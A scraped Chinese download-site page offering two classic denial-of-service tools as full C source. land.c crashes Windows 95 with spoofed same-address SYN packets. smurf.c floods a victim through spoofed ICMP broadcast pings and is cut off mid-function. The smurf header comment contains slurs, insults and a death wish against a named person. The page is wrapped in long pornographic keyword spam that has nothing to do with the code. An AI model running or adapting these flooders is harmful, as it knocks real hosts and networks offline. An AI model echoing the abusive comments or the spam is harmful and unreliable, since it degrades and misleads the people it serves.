亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 22.txt

?? 測試Win95的機器是否存在的一個SYN漏洞
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
1 Land  

攻擊一臺Win95的機器。這是Win95的一個漏洞,以其IP地址和端口向自  
己的同一個端口發(fā)起連接(發(fā)SYN),Win95即會崩潰。  


/* land.c by m3lt, FLC  
   crashes a win95 box */  

#include <stdio.h>  
#include <netdb.h>  
#include <arpa/inet.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include < netinet/ip.h >  
#include < netinet/tcp.h >  

//用于TCP校驗和的偽頭  
struct pseudohdr  
{  
        struct in_addr saddr;  
        struct in_addr daddr;  
        u_char zero;  
        u_char protocol;  
        u_short length;  
        struct tcphdr tcpheader;  
};  

//計算IP校驗和  
u_short checksum(u_short * data,u_short length)  
{  
        register long value;  
        u_short i;  

        for(i=0;i<(length>>1);i++)  
                value+=data[i];  

        if((length&1)==1)  
                value+=(data[i]<<8);  

        value=(value&65535)+(value>>16);  

        return(~value);  
}  


int main(int argc,char * * argv)  
{  
        struct sockaddr_in sin;  
        struct hostent * hoste;  
        int sock;  
        char buffer[40];  
        struct iphdr * ipheader=(struct iphdr *) buffer;  
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));  
        struct pseudohdr pseudoheader;  

        fprintf(stderr,"land.c by m3lt, FLC\n");  

        if(argc<3)  
        {  
                fprintf(stderr,"usage: %s IP port\n",argv[0]);  
                return(-1);  
        }  

        bzero(&sin,sizeof(struct sockaddr_in));  
        sin.sin_family=AF_INET;  

        if((hoste=gethostbyname(argv[1]))!=NULL)  
                bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);  
        else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)  
        {  
                fprintf(stderr,"unknown host %s\n",argv[1]);  
                return(-1);  
        }  

        if((sin.sin_port=htons(atoi(argv[2])))==0)  
        {  
                fprintf(stderr,"unknown port %s\n",argv[2]);  
                return(-1);  
        }  

//new一個SOCK—RAW以發(fā)偽造IP包 這需要root權限  
        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)  
        {  
                fprintf(stderr,"couldn't allocate raw socket\n");  
                return(-1);  
        }  

        bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));  
        ipheader->version=4;  
        ipheader->ihl=sizeof(struct iphdr)/4;  
        ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));  
        ipheader->id=htons(0xF1C);  
        ipheader->ttl=255;  
        ipheader->protocol=IP_TCP;  

//目的IP地址和源IP地址相同  
        ipheader->saddr=sin.sin_addr.s_addr;  
        ipheader->daddr=sin.sin_addr.s_addr;  

//目的TCP端口和源TCPIP端口相同  
        tcpheader->th_sport=sin.sin_port;  
        tcpheader->th_dport=sin.sin_port;  
        tcpheader->th_seq=htonl(0xF1C);  
        tcpheader->th_flags=TH_SYN;  
        tcpheader->th_off=sizeof(struct tcphdr)/4;  
        tcpheader->th_win=htons(2048);  

        bzero(&pseudoheader,12+sizeof(struct tcphdr));  
        pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;  
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;  
        pseudoheader.protocol=6;  
        pseudoheader.length=htons(sizeof(struct tcphdr));  
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));  
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));  

        if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),  
  0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)  
        {  
                fprintf(stderr,"couldn't send packet\n");  
                return(-1);  
        }  

        fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);  

        close(sock);  
        return(0);  
}  


2 Smurf  
     smurf攻擊是很簡單的,它有一些IP(廣播地址)地址列表,發(fā)出了一些偽造的數(shù)  
據(jù)包(ICMP echo request)從而導致一場廣播風暴,可以使受害主機(使它成為偽造包  
的源地址)崩潰。  

    受害者有兩種:中間的設備(bounce sites 交換機或路由器)和被偽裝的IP(那些  
icmp echo的包都被發(fā)給它)。這種攻擊依賴于路由器把一個廣播地址轉化為一廣播楨  
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允許這種轉換,但在今天看來是不需要的。  

    可以使你router停止轉換第三層的廣播(IP)到第二層的廣播(Ethernet)。  

    但是Smb服務器或NT需要遠程廣播使LAN知道它的存在,但在路由器的上述配置會使這變  
成不可能(沒有WINS服務器時)。  

/*  
 *  
 *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $  
 *  
 *  spoofs icmp packets from a host to various broadcast addresses resulting  
 *  in multiple replies to that host from a single packet.  
 *  
 *  mad head to:  
 *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,  
 *     MissSatan for swallowing, napster for pimping my sister, the guy that  
 *     invented vaseline, fyber for trying, knowy, old school #havok, kain  
 *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might  
 *     have missed (you know who you are).  
 *  
 *     hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy  
 *     thing he is (he's -almost- as stubborn as me, still i managed to pick up  
 *     half the cheque).  
 *  
 *     and a special hi to Todd, face it dude, you're fucking awesome.  
 *  
 *  mad anal to:  
 *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps  
 *     because they plain suck, Rolex for being a twit, everyone that  
 *     trades warez, Caren for being a lesbian hoe, AcidKill for being her  
 *     partner, #cha0s, sedriss for having an ego in inverse proportion to  
 *     his penis and anyone that can't pee standing up -- you don't know what  
 *     your missing out on.  
 *  
 *     and anyone thats ripped my code (diff smurf.c axcast.c is rather  
 *     interesting).  
 *  
 *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill  
 *     Robbins for trying to steal my girlfriend.  Not only did you show me  
 *     no respect but you're a manipulating prick who tried to take away the  
 *     most important thing in the world to me with no guilt whatsoever, and  
 *     for that I wish you nothing but pain.  Die.  
 *  
 *  disclaimer:  
 *     I cannot and will not be held responsible nor legally bound for the  
 *     malicious activities of individuals who come into possession of this  
 *     program and I refuse to provide help or support of any kind and do NOT  
 *     condone use of this program to deny service to anyone or any machine.  
 *     This is for educational use only. Please Don't abuse this.  
 *  
 *  Well, i really, really, hate this code, but yet here I am creating another  
 *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,  
 *  like most programmers don't like seeing bugs in their code.  I saw a few  
 *  things that should have been done better or needed fixing so I fixed  
 *  them.  -shrug-, programming for me as always seemed to take the pain away  
 *  ...  
 *  
 *  
 */  

#include <signal.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <netinet/ip.h>  
#include <netinet/ip_icmp.h>  
#include <netdb.h>  
#include <ctype.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <string.h>  

void banner(void);  
void usage(char *);  
void smurf(int, struct sockaddr_in, u_long, int);  
void ctrlc(int);  
unsigned short in_chksum(u_short *, int);  

/* stamp */  
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";  

int main (int argc, char *argv[])  
{  
   struct sockaddr_in sin;  
   struct hostent *he;  
   FILE   *bcastfile;  
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;  
   char   buf[32], **bcastaddr = malloc(8192);  

   banner();  
   signal(SIGINT, ctrlc);  

   if (argc < 6) usage(argv[0]);  

   if ((he = gethostbyname(argv[1])) == NULL) {  
      perror("resolving source host");  
      exit(-1);  
   }  
   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);  
   sin.sin_family = AF_INET;  
   sin.sin_port = htons(0);  

   num = atoi(argv[3]);  
   delay = atoi(argv[4]);  
   pktsize = atoi(argv[5]);  

   if ((bcastfile = fopen(argv[2], "r")) == NULL) {  
      perror("opening bcast file");  
      exit(-1);  
   }  
   x = 0;  
   while (!feof(bcastfile)) {  
      fgets(buf, 32, bcastfile);  
      if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;  
      for (i = 0; i < strlen(buf); i++)  
          if (buf[i] == '\n') buf[i] = '\0';  
      bcastaddr[x] = malloc(32);  
      strcpy(bcastaddr[x], buf);  
      x++;  
   }  
   bcastaddr[x] = 0x0;  
   fclose(bcastfile);  

   if (x == 0) {  
      fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);  
      exit(-1);  
   }  
   if (pktsize > 1024) {  
      fprintf(stderr, "ERROR: packet size must be < 1024\n\n");  
      exit(-1);  
   }  

   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {  
      perror("getting socket");  
      exit(-1);  
   }  
   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));  

   printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);  

   for (i = 0; i < num || !num; i++) {  
      if (!(i % 25)) { printf("."); fflush(stdout); }  
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);  
      cycle++;  
      if (bcastaddr[cycle] == 0x0) cycle = 0;  
      usleep(delay);  
   }  
   puts("\n\n");  
   return 0;  
}  

void banner (void)  
{  
   puts("\nsmurf.c v4.0 by TFreak\n");  
}  

void usage (char *prog)  
{  
   fprintf(stderr, "usage: %s <target> <bcast file> "  
                   "<num packets> <packet delay> <packet size>\n\n"  
                   "target        = address to hit\n"  
                   "bcast file    = file to read broadcast addresses from\n"  
                   "num packets   = number of packets to send (0 = flood)\n"  
                   "packet delay  = wait between each packet (in ms)\n"  
                   "packet size   = size of packet (< 1024)\n\n", prog);  
   exit(-1);  
}  

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)  
{  
   struct iphdr *ip;  
   struct icmphdr *icmp;  
   char *packet;  

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);  
   ip = (struct iphdr *)packet;  
   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));  

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);  

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);  
   ip->ihl = 5;  
   ip->version = 4;  
   ip->ttl = 255;  
   ip->tos = 0;  
   ip->frag_off = 0;  
   ip->protocol = IPPROTO_ICMP;  
   ip->saddr = sin.sin_addr.s_addr;  
   ip->daddr = dest;  
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));  
   icmp->type = 8;  
   icmp->code = 0;  
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);  

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,  
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr));  

   free(packet);           /* free willy! */  
}  

void ctrlc (int ignored)  
{  
   puts("\nDone!\n");  
   exit(1);  

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
成a人片亚洲日本久久| 久久精品国产精品青草| 久久人人爽人人爽| 日韩免费成人网| 欧美成人a在线| www亚洲一区| 欧美电视剧免费观看| 日韩一级欧美一级| 精品国产网站在线观看| 久久精品亚洲麻豆av一区二区| 精品美女在线播放| 国产欧美一区二区精品婷婷| 国产欧美日韩一区二区三区在线观看| 精品福利一区二区三区| 日韩欧美综合一区| www久久精品| 国产欧美精品一区二区三区四区 | 日本不卡高清视频| 美国三级日本三级久久99| 日本成人中文字幕在线视频| 国产一区二区影院| 成人小视频免费观看| 91蜜桃免费观看视频| 欧美人牲a欧美精品| 精品成人佐山爱一区二区| 国产夜色精品一区二区av| 亚洲人一二三区| 亚洲永久免费av| gogo大胆日本视频一区| 国产片一区二区| 免费在线一区观看| 亚洲超碰97人人做人人爱| 精品免费一区二区三区| 国产午夜精品一区二区三区视频| 国产精品色哟哟| 亚洲精品久久嫩草网站秘色| 久久99国产精品麻豆| 波多野结衣一区二区三区 | 亚洲色图一区二区三区| 亚洲成人av资源| 成人免费视频视频在线观看免费 | 欧美mv日韩mv亚洲| 亚洲图片激情小说| 久久不见久久见免费视频7| 色偷偷88欧美精品久久久| 久久中文字幕电影| 久久久久久久久久电影| 亚洲成人免费看| 99久久久精品免费观看国产蜜| 日韩一区二区三区高清免费看看| 亚洲日本va午夜在线影院| 国产一区视频导航| 777色狠狠一区二区三区| 国产精品免费久久久久| 蜜桃91丨九色丨蝌蚪91桃色| 91蜜桃免费观看视频| 亚洲卡通欧美制服中文| 激情综合五月天| 欧美高清视频在线高清观看mv色露露十八 | 亚洲国产你懂的| 一本大道久久a久久综合婷婷| 久久亚洲免费视频| 日韩av一区二区在线影视| 91成人看片片| 亚洲伦在线观看| 94-欧美-setu| 中文字幕一区二区三中文字幕| 国产露脸91国语对白| 日韩你懂的在线播放| 爽爽淫人综合网网站| 3751色影院一区二区三区| 一区二区三区在线观看国产| 91视频在线看| 国产精品久久久久天堂| 成人污视频在线观看| 日本一区二区综合亚洲| 国产寡妇亲子伦一区二区| 久久久久国产精品麻豆| 国产一区二区电影| 精品对白一区国产伦| 国产精品资源站在线| 久久人人爽爽爽人久久久| 国产成人综合在线观看| 久久久久九九视频| 成人免费av在线| 亚洲视频综合在线| 欧美午夜不卡在线观看免费| 亚洲观看高清完整版在线观看| 8v天堂国产在线一区二区| 日本成人中文字幕| 精品国产乱码久久久久久影片| 国产乱淫av一区二区三区 | 亚洲色图欧美激情| 在线日韩一区二区| 日韩影视精彩在线| 精品久久国产97色综合| 国产精品久久久久久久久果冻传媒| 亚洲欧美中日韩| 亚洲大片精品永久免费| 五月综合激情日本mⅴ| 欧美一级二级在线观看| 国产一区二区三区香蕉| 中文字幕一区二区三区蜜月| 91国偷自产一区二区使用方法| 亚洲成人黄色小说| 欧美xingq一区二区| 成人精品gif动图一区| 亚洲一区电影777| 精品国产区一区| 99久久婷婷国产综合精品| 亚洲成人资源网| 久久久久久9999| 欧美日韩国产影片| 国产精品自拍网站| 亚洲aⅴ怡春院| 国产女人aaa级久久久级| 欧美日韩精品免费观看视频| 久久成人久久鬼色| 夜夜揉揉日日人人青青一国产精品| 日韩欧美成人激情| 在线观看www91| 成人永久免费视频| 日本欧美大码aⅴ在线播放| ㊣最新国产の精品bt伙计久久| 日韩亚洲欧美一区二区三区| 91小视频在线观看| 久久99热这里只有精品| 天天影视涩香欲综合网| 自拍偷拍亚洲综合| 日韩欧美视频一区| 欧美日韩国产高清一区二区三区| 国产白丝精品91爽爽久久| 蜜桃av一区二区在线观看| 亚洲影院免费观看| 亚洲视频综合在线| 国产精品视频麻豆| 欧美精品一区二区三区在线播放 | 免费美女久久99| 一级做a爱片久久| 亚洲天堂免费看| 国产日产欧美精品一区二区三区| 日韩视频免费观看高清完整版 | 精品国产乱码久久久久久图片| 色婷婷av一区二区三区之一色屋| 国产精华液一区二区三区| 老色鬼精品视频在线观看播放| 午夜欧美在线一二页| 亚洲午夜免费福利视频| 亚洲一区二区不卡免费| 亚洲一区日韩精品中文字幕| 亚洲乱码国产乱码精品精小说| 国产精品久线在线观看| 国产精品久久久久7777按摩| 国产精品午夜免费| 国产精品乱人伦中文| 国产精品天干天干在线综合| 久久精品人人做人人综合 | 不卡一区中文字幕| 成人av动漫网站| 91视频免费观看| 欧美午夜精品久久久| 欧美日韩一本到| 4438亚洲最大| 欧美精品一区二区三区蜜桃 | 欧洲激情一区二区| 在线观看91视频| 91精品国产高清一区二区三区蜜臀| 欧美精品1区2区| 久久精品在线免费观看| 欧美韩国一区二区| 亚洲日韩欧美一区二区在线| 亚洲综合色区另类av| 青青青伊人色综合久久| 国产成人在线色| 欧美日韩一卡二卡三卡| 日韩三级伦理片妻子的秘密按摩| 久久免费的精品国产v∧| 亚洲视频一区在线观看| 亚洲.国产.中文慕字在线| 狂野欧美性猛交blacked| 成人免费观看视频| 欧美午夜精品理论片a级按摩| 日韩一级精品视频在线观看| 国产精品三级电影| 日韩国产欧美在线视频| 国产伦理精品不卡| 91精品福利视频| 久久色在线观看| 亚洲一区在线看| 福利一区福利二区| 欧美久久久久久久久中文字幕| 亚洲精品一区在线观看| 一区二区三区四区在线播放| 另类综合日韩欧美亚洲| 成人激情小说乱人伦| 日韩精品一区二区三区中文不卡| 日韩一区中文字幕| 极品尤物av久久免费看| 欧美久久久久免费| 日韩一区在线播放|